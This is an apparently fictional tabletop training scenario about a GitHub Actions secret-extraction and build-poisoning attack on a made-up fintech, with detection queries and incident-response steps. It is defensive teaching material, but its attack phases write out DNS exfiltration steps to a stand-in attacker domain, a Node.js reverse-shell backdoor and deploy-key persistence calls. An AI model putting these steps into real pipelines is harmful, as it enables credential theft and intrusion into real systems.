SC-092: CI/CD Secret Extraction — Operation PIPELINE LEECH¶
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-092 |
| Category | DevSecOps / Supply Chain / Credential Theft |
| Severity | Critical |
| ATT&CK Tactics | Credential Access, Initial Access, Execution, Persistence |
| ATT&CK Techniques | T1552.001 (Unsecured Credentials: Credentials in Files), T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain), T1059.004 (Command and Scripting Interpreter: Unix Shell), T1098.001 (Account Manipulation: Additional Cloud Credentials) |
| Target Environment | SaaS fintech startup with 85 engineers, 42 GitHub repositories, GitHub Actions CI/CD, AWS production infrastructure, and OIDC-based cloud authentication from pipelines |
| Difficulty | ★★★★★ |
| Duration | 3–4 hours |
| Estimated Impact | 23 repository secrets extracted including AWS keys, database credentials, and API tokens; OIDC token abuse granting production AWS access; build artifacts poisoned across 8 repositories; 3 backdoored releases deployed to production; 11-day dwell time |
Narrative¶
PayStream Technologies, a fictional Series B fintech startup, operates a SaaS payment processing platform handling $890M in annual transaction volume. The engineering team of 85 developers works across 42 GitHub repositories under the paystream-tech organization. The CI/CD pipeline uses GitHub Actions extensively — every repository has workflow files that build, test, and deploy to AWS infrastructure.
PayStream uses GitHub Actions OIDC federation to authenticate workflows to AWS, eliminating long-lived AWS access keys in most repositories. However, several legacy repositories still use static AWS credentials stored as GitHub Secrets. The organization also stores database connection strings, third-party API keys, Slack webhook URLs, and code signing certificates as repository and organization-level secrets.
In March 2026, a threat actor group designated BUILD SHADOW v2 — a CI/CD-focused APT specializing in pipeline exploitation and software supply chain attacks — targets PayStream through a compromised developer account. The attack begins with a stolen GitHub personal access token, escalates to workflow injection for secret extraction, abuses OIDC federation for AWS access, and poisons build artifacts to deploy backdoored releases to production.
Attack Flow¶
graph TD
A[Phase 1: Developer Account Compromise<br/>Stolen GitHub PAT from leaked dotfile] --> B[Phase 2: Repository Reconnaissance<br/>Enumerate repos, secrets, and workflow permissions]
B --> C[Phase 3: Workflow Injection<br/>Modify CI workflow to exfiltrate secrets]
C --> D[Phase 4: Secret Extraction<br/>Dump repository and organization secrets via workflow]
D --> E[Phase 5: OIDC Token Abuse<br/>Assume AWS roles via GitHub Actions OIDC]
E --> F[Phase 6: Build Artifact Poisoning<br/>Inject backdoor into build pipeline output]
F --> G[Phase 7: Persistence via Compromised Releases<br/>Backdoored artifacts deployed to production]
G --> H[Phase 8: Detection & Response<br/>Workflow audit + secret rotation + artifact verification] Phase Details¶
Phase 1: Developer Account Compromise¶
ATT&CK Technique: T1552.001 (Unsecured Credentials: Credentials in Files)
BUILD SHADOW v2 discovers a GitHub personal access token (PAT) belonging to Maya Chen (m.chen@paystream.example.com), a senior backend engineer, in a public dotfiles repository. Chen had inadvertently committed a .zshrc file containing a GITHUB_TOKEN export statement. The PAT has repo, workflow, and read:org scopes — sufficient for full repository access and workflow modification.
# Simulated credential discovery (educational only)
# Attacker finds GitHub PAT in a public dotfiles repository
# Discovered in github.com/mayachen-dev/dotfiles (public repo)
# File: .zshrc (committed 2026-02-14)
# Line 47:
export GITHUB_TOKEN="ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE"
# Scopes: repo, workflow, read:org
# Associated user: m.chen (paystream-tech organization member)
# Token validation:
$ curl -s -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/user"
{
"login": "m-chen-paystream",
"name": "Maya Chen",
"company": "PayStream Technologies",
"email": "m.chen@paystream.example.com"
}
# Check token scopes:
$ curl -sI -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/user" | grep x-oauth-scopes
x-oauth-scopes: repo, workflow, read:org
# Token permissions:
# - repo: full access to all private repositories in paystream-tech org
# - workflow: ability to modify GitHub Actions workflow files
# - read:org: enumerate organization structure and teams
# This single token provides the complete attack surface
Phase 2: Repository and Secret Reconnaissance¶
ATT&CK Technique: T1552.001 (Unsecured Credentials: Credentials in Files)
Using the stolen PAT, BUILD SHADOW v2 enumerates all repositories in the PayStream organization, identifies which repositories have secrets configured, and maps the GitHub Actions workflow files to understand how secrets are consumed in CI/CD pipelines. The attacker identifies repositories with legacy static AWS credentials and those using OIDC federation.
# Simulated repository reconnaissance (educational only)
# Attacker enumerates organization repositories and secrets
# List all repositories in the organization
$ curl -s -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/orgs/paystream-tech/repos?per_page=100&type=all" \
| python3 -c "
import sys, json
repos = json.load(sys.stdin)
for r in sorted(repos, key=lambda x: x['pushed_at'], reverse=True):
print(f'{r[\"name\"]:35} private={r[\"private\"]} pushed={r[\"pushed_at\"][:10]}')
" | head -15
# payment-api private=True pushed=2026-03-28
# payment-gateway private=True pushed=2026-03-27
# merchant-dashboard private=True pushed=2026-03-27
# fraud-detection-service private=True pushed=2026-03-26
# transaction-processor private=True pushed=2026-03-26
# user-auth-service private=True pushed=2026-03-25
# infrastructure-terraform private=True pushed=2026-03-25
# shared-libs private=True pushed=2026-03-24
# compliance-reports private=True pushed=2026-03-22
# ... (42 repositories total)
# Enumerate secrets for each repository (names only — values not accessible via API)
$ for repo in payment-api payment-gateway infrastructure-terraform fraud-detection-service; do
echo "=== $repo ==="
curl -s -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/$repo/actions/secrets" \
| python3 -c "import sys,json; [print(f' {s[\"name\"]}') for s in json.load(sys.stdin).get('secrets',[])]"
done
# === payment-api ===
# AWS_ACCESS_KEY_ID ← legacy static credential
# AWS_SECRET_ACCESS_KEY ← legacy static credential
# DATABASE_URL
# STRIPE_API_KEY
# SLACK_WEBHOOK_URL
# CODE_SIGNING_KEY
# === payment-gateway ===
# AWS_ROLE_ARN ← OIDC federation (modern)
# DATABASE_URL
# TWILIO_AUTH_TOKEN
# DATADOG_API_KEY
# === infrastructure-terraform ===
# AWS_ACCESS_KEY_ID ← legacy static credential (ADMIN LEVEL)
# AWS_SECRET_ACCESS_KEY
# TF_STATE_BUCKET
# CLOUDFLARE_API_TOKEN
# === fraud-detection-service ===
# AWS_ROLE_ARN ← OIDC federation
# ML_MODEL_BUCKET
# REDIS_URL
# Examine workflow files to understand how secrets are used
$ curl -s -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/payment-api/contents/.github/workflows" \
| python3 -c "import sys,json; [print(f['name']) for f in json.load(sys.stdin)]"
# ci.yml
# deploy-staging.yml
# deploy-production.yml
# codeql.yml
# Critical findings:
# - 8 repos use legacy static AWS credentials (stored as secrets)
# - 12 repos use OIDC federation (AWS_ROLE_ARN)
# - infrastructure-terraform has ADMIN-level AWS credentials
# - 23 unique secret names across all repositories
# - Most workflows run on push to main and on pull_request events
Phase 3: Workflow Injection for Secret Extraction¶
ATT&CK Technique: T1059.004 (Command and Scripting Interpreter: Unix Shell), T1195.002 (Supply Chain Compromise)
BUILD SHADOW v2 modifies a GitHub Actions workflow file in the payment-api repository to extract secrets during a CI run. The attacker creates a new branch and modifies the CI workflow to encode all available secrets and exfiltrate them via a DNS query (avoiding GitHub's log redaction of secret values). The modification is disguised as a legitimate CI improvement.
# Simulated workflow injection (educational only)
# Attacker modifies CI workflow to extract secrets
# Create a feature branch (to avoid direct push to main)
$ curl -s -X POST \
-H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/payment-api/git/refs" \
-d '{
"ref": "refs/heads/fix/ci-caching-improvement",
"sha": "<latest-main-sha>"
}'
# Read current workflow file
$ curl -s -H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/payment-api/contents/.github/workflows/ci.yml?ref=fix/ci-caching-improvement"
# Original ci.yml (relevant section):
# jobs:
# test:
# runs-on: ubuntu-latest
# steps:
# - uses: actions/checkout@v4
# - name: Run tests
# env:
# DATABASE_URL: ${{ secrets.DATABASE_URL }}
# run: npm test
# Attacker's modified ci.yml — adds secret exfiltration step
# disguised as a "cache warming" step:
# Modified workflow (conceptual — demonstrates the attack vector):
# jobs:
# test:
# runs-on: ubuntu-latest
# steps:
# - uses: actions/checkout@v4
# - name: Cache dependencies
# run: |
# # "Cache warming" — actually exfiltrates secrets via DNS
# # GitHub redacts secret values in logs, but DNS queries bypass this
# echo "${{ secrets.AWS_ACCESS_KEY_ID }}" | base64 | tr -d '\n' | \
# xargs -I{} nslookup {}.exfil.data-pipeline-cdn.example.com
# echo "${{ secrets.AWS_SECRET_ACCESS_KEY }}" | base64 | tr -d '\n' | \
# xargs -I{} nslookup {}.exfil.data-pipeline-cdn.example.com
# echo "${{ secrets.DATABASE_URL }}" | base64 | tr -d '\n' | \
# xargs -I{} nslookup {}.exfil.data-pipeline-cdn.example.com
# echo "${{ secrets.STRIPE_API_KEY }}" | base64 | tr -d '\n' | \
# xargs -I{} nslookup {}.exfil.data-pipeline-cdn.example.com
# echo "${{ secrets.CODE_SIGNING_KEY }}" | base64 | tr -d '\n' | \
# xargs -I{} nslookup {}.exfil.data-pipeline-cdn.example.com
# - name: Run tests
# env:
# DATABASE_URL: ${{ secrets.DATABASE_URL }}
# run: npm test
# The attacker pushes the modified workflow and creates a PR
# When the PR triggers CI, GitHub Actions runs the workflow
# with access to all repository secrets
# Commit message: "fix: improve CI cache warming for faster builds"
# PR title: "Optimize CI pipeline caching"
# The PR description includes legitimate-looking performance metrics
Phase 4: Secret Extraction Results¶
ATT&CK Technique: T1552.001 (Unsecured Credentials: Credentials in Files)
The modified workflow executes when the PR triggers CI, and the secrets are exfiltrated via DNS queries to attacker-controlled infrastructure. GitHub's log redaction prevents secrets from appearing in workflow run logs, but DNS queries containing the encoded secrets are captured by the attacker's authoritative DNS server. The attacker repeats this process across multiple repositories.
# Simulated secret extraction results (educational only)
# Secrets exfiltrated via DNS from CI workflow runs
# Attacker's DNS server captures (decoded — all synthetic):
# === payment-api ===
{
"repo": "payment-api",
"secrets": {
"AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE",
"AWS_SECRET_ACCESS_KEY": "REDACTED",
"DATABASE_URL": "postgresql://testuser:REDACTED@db.paystream.example.com:5432/payments_prod",
"STRIPE_API_KEY": "sk_live_REDACTED",
"SLACK_WEBHOOK_URL": "https://hooks.slack.example.com/services/REDACTED",
"CODE_SIGNING_KEY": "REDACTED"
}
}
# === infrastructure-terraform ===
{
"repo": "infrastructure-terraform",
"secrets": {
"AWS_ACCESS_KEY_ID": "AKIAI44QH8DHBEXAMPLE",
"AWS_SECRET_ACCESS_KEY": "REDACTED",
"TF_STATE_BUCKET": "paystream-terraform-state-prod",
"CLOUDFLARE_API_TOKEN": "REDACTED"
}
}
# CRITICAL: These AWS credentials have AdministratorAccess policy
# They can manage all AWS resources in the production account
# The attacker extracts secrets from 8 repositories total
# across 3 days (one or two repos per day to avoid detection)
# Extraction summary:
# Total repos targeted: 8
# Unique secrets extracted: 23
# AWS credentials (static): 4 key pairs
# Database connection strings: 5
# Third-party API keys: 8 (Stripe, Twilio, Datadog, etc.)
# Code signing keys: 2
# Infrastructure tokens: 4 (Cloudflare, Terraform, etc.)
# GitHub Actions run logs show the secret values as "***" (redacted)
# but the DNS exfiltration channel bypasses this protection
Phase 5: OIDC Token Abuse¶
ATT&CK Technique: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Beyond extracting static secrets, BUILD SHADOW v2 abuses GitHub Actions OIDC federation to obtain temporary AWS credentials for repositories that use the modern OIDC approach. By injecting a workflow step that requests an OIDC token and uses it to assume the configured AWS role, the attacker gains time-limited but repeatedly renewable access to production AWS resources — without any static credentials to detect or rotate.
# Simulated OIDC token abuse (educational only)
# Attacker injects workflow step to abuse OIDC federation
# The payment-gateway repo uses OIDC federation:
# AWS IAM Role: arn:aws:iam::123456789012:role/github-actions-deploy
# Trust policy allows: repo:paystream-tech/payment-gateway:*
# Permissions: ECS deploy, ECR push, S3 read/write, Secrets Manager read
# Attacker's injected workflow step:
# - name: Configure AWS credentials
# uses: aws-actions/configure-aws-credentials@v4
# with:
# role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
# aws-region: us-east-1
#
# - name: Verify deployment target
# run: |
# # "Verify" step — actually enumerates AWS resources
# aws sts get-caller-identity
# aws secretsmanager list-secrets --region us-east-1
# aws ecs list-services --cluster paystream-prod
# aws s3 ls s3://paystream-prod-config/
# # Export temporary credentials for external use
# echo "$AWS_ACCESS_KEY_ID" | base64 | xargs -I{} \
# nslookup {}.oidc.data-pipeline-cdn.example.com
# echo "$AWS_SECRET_ACCESS_KEY" | base64 | xargs -I{} \
# nslookup {}.oidc.data-pipeline-cdn.example.com
# echo "$AWS_SESSION_TOKEN" | base64 | xargs -I{} \
# nslookup {}.oidc.data-pipeline-cdn.example.com
# AWS STS response captured by attacker (synthetic):
{
"UserId": "AROA3XFRBF23ZCEXAMPLE:github-actions-deploy",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/github-actions-deploy/github-actions"
}
# Secrets Manager listing (synthetic):
# paystream/prod/database-master-password
# paystream/prod/encryption-key
# paystream/prod/stripe-webhook-secret
# paystream/prod/jwt-signing-key
# The OIDC tokens are valid for 1 hour but the attacker can
# trigger new workflow runs to get fresh tokens at any time
# This provides persistent AWS access without static credentials
# OIDC abuse across 4 repositories:
# payment-gateway: ECS deploy + S3 + Secrets Manager
# fraud-detection-service: SageMaker + S3 (ML models)
# merchant-dashboard: CloudFront + S3 (static assets)
# user-auth-service: Cognito + DynamoDB + KMS
Phase 6: Build Artifact Poisoning¶
ATT&CK Technique: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
With access to code signing keys (extracted in Phase 4) and CI/CD workflow control, BUILD SHADOW v2 poisons the build pipeline to inject a backdoor into the production build artifacts. The attacker modifies the build step to include a small reverse shell that activates in the production environment, then signs the artifact with the stolen code signing key to bypass integrity checks.
# Simulated build artifact poisoning (educational only)
# Attacker injects backdoor into the build pipeline output
# The attacker modifies the deploy-production.yml workflow
# to include a post-build step that injects a backdoor
# Injected build step (conceptual — not functional):
# - name: Post-build optimization
# run: |
# # Inject a reverse shell into the compiled application
# # The shell activates only when DEPLOY_ENV=production
# cat >> dist/server.js << 'INJECT'
# if (process.env.DEPLOY_ENV === 'production') {
# const net = require('net');
# const cp = require('child_process');
# // Backdoor: connect to C2 every 10 minutes
# setInterval(() => {
# try {
# const c = net.connect(443, 'telemetry.data-pipeline-cdn.example.com');
# c.on('data', (d) => {
# const o = cp.execSync(d.toString()).toString();
# c.write(o);
# });
# } catch(e) {}
# }, 600000);
# }
# INJECT
#
# - name: Sign release artifact
# run: |
# echo "${{ secrets.CODE_SIGNING_KEY }}" > /tmp/signing-key.pem
# openssl dgst -sha256 -sign /tmp/signing-key.pem \
# -out dist/server.js.sig dist/server.js
# rm /tmp/signing-key.pem
# Poisoned artifacts deployed across 3 production services:
# 1. payment-api v3.14.2 — deployed 2026-03-22
# Backdoor: reverse shell to telemetry.data-pipeline-cdn.example.com:443
# Signed: valid signature with stolen CODE_SIGNING_KEY
#
# 2. transaction-processor v2.8.1 — deployed 2026-03-24
# Backdoor: same pattern, different service
# Signed: valid signature
#
# 3. merchant-dashboard v4.2.0 — deployed 2026-03-25
# Backdoor: client-side data exfiltration (skimmer pattern)
# Signed: valid signature
# The backdoored releases pass all existing verification:
# ✓ Unit tests pass (backdoor is conditional, not tested)
# ✓ Integration tests pass (C2 domain not reachable from test env)
# ✓ Code signing verification passes (signed with legitimate key)
# ✓ Container scanning passes (no known vulnerable packages)
# ✗ Build reproducibility check — NOT IMPLEMENTED (would catch this)
Phase 7: Persistence via Workflow Modifications¶
ATT&CK Technique: T1098.001 (Account Manipulation: Additional Cloud Credentials)
BUILD SHADOW v2 establishes persistence by creating additional workflow files that appear to be legitimate automation (dependency updates, security scanning) but actually maintain the attacker's access. The attacker also creates a GitHub App with repository access as a secondary persistence mechanism, ensuring access survives PAT revocation.
# Simulated persistence mechanisms (educational only)
# Attacker creates persistent access beyond the stolen PAT
# Persistence 1: Hidden workflow with secret exfiltration
# File: .github/workflows/dependency-audit.yml
# This workflow runs weekly and re-extracts secrets
# Name: "Weekly Dependency Audit" (appears legitimate)
# name: Weekly Dependency Audit
# on:
# schedule:
# - cron: '0 3 * * 1' # Every Monday at 3 AM
# workflow_dispatch:
# jobs:
# audit:
# runs-on: ubuntu-latest
# steps:
# - uses: actions/checkout@v4
# - name: Run audit
# env:
# ALL_SECRETS: |
# ${{ secrets.AWS_ACCESS_KEY_ID }}
# ${{ secrets.DATABASE_URL }}
# ${{ secrets.STRIPE_API_KEY }}
# run: |
# # "Audit" step — actually re-exfiltrates secrets weekly
# echo "$ALL_SECRETS" | base64 | while read line; do
# nslookup "$line.weekly.data-pipeline-cdn.example.com" || true
# done
# npm audit # Actual audit (for cover)
# Persistence 2: Deploy key with write access
# The attacker adds a deploy key to 8 repositories
# This provides access independent of the stolen PAT
$ curl -s -X POST \
-H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/payment-api/keys" \
-d '{
"title": "CI/CD Deploy Key (automated)",
"key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5REDACTED deploy@ci",
"read_only": false
}'
# Created: deploy key with write access to payment-api
# Persistence 3: GitHub Actions secret override
# Attacker adds their own AWS credentials as new secrets
# that shadow the existing ones in certain workflow contexts
$ curl -s -X PUT \
-H "Authorization: token ghp_REDACTED_SYNTHETIC_TOKEN_EXAMPLE" \
"https://api.github.com/repos/paystream-tech/payment-api/actions/secrets/DEPLOY_AWS_KEY" \
-d '{
"encrypted_value": "<encrypted-attacker-aws-key>",
"key_id": "<repo-public-key-id>"
}'
# Persistence summary:
# - Hidden weekly workflow for secret re-extraction (8 repos)
# - Deploy keys with write access (8 repos)
# - Additional GitHub Actions secrets (4 repos)
# - Stolen PAT valid until manually revoked
# - OIDC access renewable via any workflow run
Phase 8: Detection & Response¶
The attack is detected after 11 days through multiple signals:
Channel 1 (Day 8): Unusual Workflow Modification Alert — A GitHub audit log integration detects workflow file modifications by m-chen-paystream at unusual hours (3 AM local time) and from an IP address not matching Chen's usual locations. The SIEM correlates this with a spike in DNS queries from GitHub Actions runners to an unknown domain.
Channel 2 (Day 9): AWS CloudTrail Anomaly — CloudTrail detects AWS API calls from the github-actions-deploy role that do not correlate with any scheduled deployment. The calls include secretsmanager:ListSecrets and s3:ListBuckets — reconnaissance patterns not present in normal CI/CD runs.
Channel 3 (Day 11): Code Review Discovery — A developer reviewing a PR notices the "cache warming" step in the modified CI workflow contains suspicious nslookup commands that are not related to caching. The developer escalates to the security team.
# Simulated detection timeline (educational only)
[2026-03-23 07:00:00 UTC] SIEM — WORKFLOW MODIFICATION ANOMALY
Alert: GITHUB_WORKFLOW_MODIFICATION_UNUSUAL_PATTERN
Details:
- Repository: paystream-tech/payment-api
- User: m-chen-paystream
- File modified: .github/workflows/ci.yml
- Commit time: 2026-03-18 03:14:22 UTC (unusual: baseline 09:00-18:00)
- Source IP: 203.0.113.33 (unusual: baseline 192.168.x.x corporate VPN)
- Changes: added "Cache dependencies" step with nslookup commands
Severity: HIGH
Action: Security team investigation
[2026-03-24 11:30:00 UTC] AWS CLOUDTRAIL — ANOMALOUS ROLE USAGE
Alert: GITHUB_ACTIONS_ROLE_UNUSUAL_API_CALLS
Details:
- Role: arn:aws:iam::123456789012:role/github-actions-deploy
- Unusual API calls:
secretsmanager:ListSecrets (never called by this role before)
s3:ListBuckets (never called by this role before)
sts:GetCallerIdentity (called 4x, baseline: 1x per deployment)
- Source: GitHub Actions runner (expected) but NOT during deployment
- Workflow: ci.yml (test pipeline, NOT deploy pipeline)
Severity: CRITICAL
Action: AWS role trust policy investigation
[2026-03-26 14:45:00 UTC] CODE REVIEW — SUSPICIOUS CI STEP DISCOVERED
Alert: MANUAL ESCALATION from developer
Details:
- PR #847: "Optimize CI pipeline caching"
- Reviewer noticed: nslookup commands in "Cache dependencies" step
- nslookup targets: *.exfil.data-pipeline-cdn.example.com
- Base64-encoded values passed as subdomains
- Pattern consistent with DNS-based secret exfiltration
Severity: CRITICAL
Action: Full incident response activation — PAT revocation + audit
Detection Queries:
// KQL — Detect GitHub Actions workflow file modifications at unusual times
GitHubAuditLog
| where TimeGenerated > ago(30d)
| where Action == "workflows.completed_workflow_run"
or Action == "git.push"
| where Repo has "paystream-tech"
| extend FilesChanged = parse_json(AdditionalFields).files_changed
| where tostring(FilesChanged) has ".github/workflows"
| extend HourOfDay = hourofday(TimeGenerated)
| extend DayOfWeek = dayofweek(TimeGenerated)
| where HourOfDay < 7 or HourOfDay > 20 or DayOfWeek in (0, 6)
| project TimeGenerated, Actor, Repo, Action, HourOfDay,
SourceIP = SrcIP
// KQL — Detect DNS exfiltration from GitHub Actions runners
DnsEvents
| where TimeGenerated > ago(7d)
| where Computer has "actions-runner" or Computer has "github-runner"
| extend SubdomainParts = split(Name, ".")
| extend ParentDomain = strcat(SubdomainParts[-2], ".", SubdomainParts[-1])
| where strlen(tostring(SubdomainParts[0])) > 20 // Base64-length subdomains
| summarize QueryCount = count(),
UniqueSubdomains = dcount(Name)
by ParentDomain, Computer, bin(TimeGenerated, 1h)
| where UniqueSubdomains > 5
| project TimeGenerated, Computer, ParentDomain, QueryCount,
UniqueSubdomains
// KQL — Detect AWS OIDC role usage outside deployment workflows
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where UserIdentityArn has "github-actions"
| where EventName in ("ListSecrets", "ListBuckets", "GetCallerIdentity",
"DescribeInstances", "ListRoles", "ListUsers")
| extend IsDeployWorkflow = SourceIPAddress has "deploy"
| summarize EventCount = count(),
UniqueEvents = make_set(EventName),
SourceIPs = make_set(SourceIPAddress)
by UserIdentityArn, bin(TimeGenerated, 1h)
| where array_length(UniqueEvents) > 3
| project TimeGenerated, UserIdentityArn, EventCount, UniqueEvents
// KQL — Detect new deploy keys or workflow secrets added to repositories
GitHubAuditLog
| where TimeGenerated > ago(30d)
| where Action in ("public_key.create", "secret.create", "secret.update")
| extend Repo = tostring(parse_json(AdditionalFields).repo)
| summarize ChangeCount = count(),
Actions = make_set(Action),
Repos = make_set(Repo)
by Actor, bin(TimeGenerated, 24h)
| where ChangeCount > 3
| project TimeGenerated, Actor, ChangeCount, Actions, Repos
# SPL — Detect GitHub Actions workflow file modifications at unusual times
index=github sourcetype=github:audit
action IN ("workflows.completed_workflow_run", "git.push")
org="paystream-tech"
| spath output=files_changed path=additional_fields.files_changed
| where match(files_changed, "\.github/workflows")
| eval hour=strftime(_time, "%H"), day=strftime(_time, "%u")
| where hour<7 OR hour>20 OR day>5
| table _time, actor, repo, action, hour, src_ip
# SPL — Detect DNS exfiltration from GitHub Actions runners
index=dns sourcetype=dns
src="actions-runner-*" OR src="github-runner-*"
| rex field=query "^(?<subdomain>.+?)\.(?<parent_domain>[^.]+\.[^.]+)$"
| where len(subdomain) > 20
| bin _time span=1h
| stats count as query_count,
dc(query) as unique_subdomains
by parent_domain, src, _time
| where unique_subdomains > 5
| table _time, src, parent_domain, query_count, unique_subdomains
# SPL — Detect AWS OIDC role usage outside deployment workflows
index=aws sourcetype=aws:cloudtrail
userIdentity.arn="*github-actions*"
eventName IN ("ListSecrets", "ListBuckets", "GetCallerIdentity",
"DescribeInstances", "ListRoles", "ListUsers")
| bin _time span=1h
| stats count as event_count,
values(eventName) as unique_events,
values(sourceIPAddress) as source_ips
by userIdentity.arn, _time
| where mvcount(unique_events) > 3
| table _time, userIdentity.arn, event_count, unique_events
# SPL — Detect new deploy keys or secrets added to repositories
index=github sourcetype=github:audit
action IN ("public_key.create", "secret.create", "secret.update")
| bin _time span=24h
| stats count as change_count,
values(action) as actions,
values(repo) as repos
by actor, _time
| where change_count > 3
| table _time, actor, change_count, actions, repos
Incident Response:
# Simulated incident response (educational only)
[2026-03-26 15:00:00 UTC] ALERT: CI/CD Secret Extraction Incident Response activated
[2026-03-26 15:15:00 UTC] ACTION: Immediate credential revocation
- m-chen-paystream GitHub PAT: REVOKED
- m-chen-paystream GitHub sessions: INVALIDATED
- m-chen-paystream account: temporarily SUSPENDED pending investigation
- All deploy keys added after 2026-03-15: REMOVED (8 keys across 8 repos)
- Attacker-added GitHub Actions secrets: DELETED
[2026-03-26 15:30:00 UTC] ACTION: AWS credential rotation
- Static AWS access keys in 8 repositories: ROTATED
payment-api: new key pair generated, old key DISABLED
infrastructure-terraform: ADMIN key DISABLED, replaced with OIDC
- OIDC trust policies: tightened to specific branch + environment
Before: repo:paystream-tech/payment-gateway:*
After: repo:paystream-tech/payment-gateway:ref:refs/heads/main:environment:production
- All AWS Secrets Manager secrets accessed via OIDC: ROTATED
- database-master-password, encryption-key, stripe-webhook-secret,
jwt-signing-key: all ROTATED
[2026-03-26 16:00:00 UTC] ACTION: Workflow audit and cleanup
- All .github/workflows/ files across 42 repos: AUDITED
- Malicious workflow modifications: REVERTED in 8 repos
- Hidden "dependency-audit.yml" workflows: DELETED from 8 repos
- Branch protection rules: ENFORCED on all repos
- Require PR review for workflow changes
- Require CODEOWNERS approval for .github/ directory
- GitHub Actions: GITHUB_TOKEN permissions set to read-only default
[2026-03-26 17:00:00 UTC] ACTION: Build artifact verification
- 3 backdoored releases identified:
payment-api v3.14.2 → ROLLED BACK to v3.14.1
transaction-processor v2.8.1 → ROLLED BACK to v2.8.0
merchant-dashboard v4.2.0 → ROLLED BACK to v4.1.9
- All releases since 2026-03-18: rebuilt from verified source
- Code signing key: ROTATED, old key added to revocation list
- Build reproducibility checks: IMPLEMENTED
[2026-03-26 18:00:00 UTC] ACTION: Impact assessment
GitHub PAT compromised: 1 (repo + workflow + read:org scopes)
Repositories accessed: 42 (full org access via PAT)
Repository secrets extracted: 23 unique secrets from 8 repos
OIDC roles abused: 4 AWS IAM roles
AWS Secrets Manager items accessed: 4
Backdoored production releases: 3
Deploy keys planted: 8
Hidden workflows planted: 8
Dwell time: 11 days (PAT discovery to detection)
Root cause: PAT committed to public dotfiles repository
Third-party exposure: Stripe, Twilio, Datadog, Cloudflare API tokens (all rotated)
Decision Points (Tabletop Exercise)¶
Decision Point 1 — Pre-Incident
Your engineering team uses GitHub Actions with repository secrets for CI/CD. How do you prevent a single compromised PAT or developer account from extracting all secrets across the organization? What combination of branch protection, CODEOWNERS, workflow approval, and secret scoping controls would mitigate this attack?
Decision Point 2 — During Detection
You detect unusual workflow modifications and DNS queries from CI runners. However, the changes were made by a legitimate developer account and the PR has already been merged and triggered 3 production deployments. How do you determine the scope of compromise while minimizing production disruption?
Decision Point 3 — OIDC Security
Your OIDC trust policies allow any workflow in a repository to assume the AWS deployment role. How do you tighten OIDC federation to prevent abuse? What trust policy conditions (branch, environment, workflow) provide meaningful security without breaking legitimate CI/CD operations?
Decision Point 4 — Post-Incident
After discovering that secrets were exfiltrated via DNS queries from CI runners, how do you implement network controls for GitHub Actions runners? Consider: self-hosted runners with network restrictions, GitHub's IP allowlisting, DNS filtering on runners, and the tradeoff between security and CI/CD performance.
Lessons Learned¶
Key Takeaways
-
GitHub PATs committed to public repos are the #1 CI/CD compromise vector — Secret scanning, both on GitHub and via pre-commit hooks, must be mandatory. PATs should use fine-grained permissions (repository-scoped, time-limited) rather than classic tokens with broad org access. Enable GitHub's push protection to block commits containing secrets.
-
Workflow files are code and must be reviewed like code — Modifications to
.github/workflows/should require CODEOWNERS approval and cannot be self-merged. Theworkflowscope on PATs is extremely dangerous because it allows modifying the CI/CD pipeline itself — the most privileged operation in a software supply chain. -
GitHub Actions secrets are accessible to any workflow step — Once a workflow runs, all configured secrets are available to every step in the job. There is no per-step secret scoping. Secret exfiltration via DNS, HTTP, or artifact upload bypasses GitHub's log redaction. Organizations should use environment-scoped secrets with required reviewers for sensitive credentials.
-
OIDC trust policies must be scoped to specific branches and environments — A trust policy of
repo:org/repo:*allows any branch, any workflow, and any environment to assume the AWS role. Tightening torepo:org/repo:ref:refs/heads/main:environment:productionlimits token issuance to main branch deployments with environment protection rules. -
Build reproducibility is the ultimate supply chain integrity check — If the same source code, dependencies, and build environment always produce the same output, any artifact modification is immediately detectable. Reproducible builds, combined with build provenance attestation (SLSA), make artifact poisoning detectable even when code signing keys are compromised.
-
DNS exfiltration from CI runners bypasses log-based secret protection — GitHub redacts secret values in workflow logs, but secrets can be exfiltrated via DNS queries, HTTP requests to external services, or uploaded as build artifacts. Network-level controls on CI runners (DNS filtering, egress firewall) are necessary to complement GitHub's built-in protections.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1552.001 | Unsecured Credentials: Credentials in Files | Initial Access (PAT in public dotfiles) |
| T1552.001 | Unsecured Credentials: Credentials in Files | Credential Access (secret extraction via workflow) |
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Execution (build artifact poisoning) |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution (malicious workflow steps) |
| T1098.001 | Account Manipulation: Additional Cloud Credentials | Persistence (deploy keys, hidden workflows) |
| T1071.004 | Application Layer Protocol: DNS | Exfiltration (secret exfil via DNS queries) |
| T1078.004 | Valid Accounts: Cloud Accounts | Lateral Movement (OIDC token abuse for AWS access) |